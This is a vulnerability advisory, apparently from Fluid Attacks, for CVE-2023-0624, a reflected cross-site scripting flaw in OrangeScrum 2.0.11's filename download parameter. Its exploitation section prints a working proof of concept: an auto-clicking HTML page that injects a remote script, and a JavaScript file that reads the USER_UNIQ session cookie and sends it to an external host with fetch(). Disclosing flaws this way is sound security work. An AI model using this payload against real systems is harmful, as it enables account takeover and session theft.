Headline

CVE-2023-0624: OrangeScrum 2.0.11 - Reflected XSS via filename | Advisories | Fluid Attacks

OrangeScrum version 2.0.11 allows an external attacker to obtain arbitrary user accounts from the application. This is possible because the application returns malicious user input in the response with the content-type set to text/html.

1 year ago

CVE

Open in Source

#xss #vulnerability #linux #js #git #java

Home
Advisories
OrangeScrum 2.0.11 Reflected XSS via filename

Summary

Name

OrangeScrum 2.0.11 - Reflected XSS via filename

Code name

Oberhofer

Product

OrangeScrum

Affected versions

2.0.11

State

Public

Release Date

2023-02-13

Vulnerability

Kind

Reflected cross-site scripting (XSS)

Rule

008. Reflected cross-site scripting (XSS)

Remote

Yes

CVSSv3 Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

CVSSv3 Base Score

7.3

Exploit available

CVE ID(s)

CVE-2023-0624

Description

Vulnerability

This vulnerability occurs because the application returns malicious user input in the response with the content-type set to text/html.

Exploitation

To exploit this vulnerability, we only need to send the following malicious HTML code to an application user.

Exploit.html

<!DOCTYPE html>
<html>
    <body>
        <a id="exploit" href="https://retr02332bughunter.orangescrum.com/defect/defects/download?filename=%3Cscript+type=%27text/javascript%27+src=%27https://retr02332.com/exploit-utils.js%27%3E%3C/script%3E"> Exploit</a>
        <script>
            document.getElementById("exploit").click();
        </script>
    </body>
</html>

The malicious JavaScript that we embed in the page is as follows.

Exploit-utils.js

function getCookie(name) {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
}

let sessionCookie = `USER_UNIQ=${getCookie("USER_UNIQ")}`;

fetch("https://retr02332.com/leak?"+sessionCookie);

Thus, when the user clicks on the malicious link, it will send its session cookie to the attacker’s server logs.

Evidence of exploitation

POC-XSS-OrangeScrum

Our security policy

We have reserved the ID CVE-2023-0624 to refer to this issue from now on.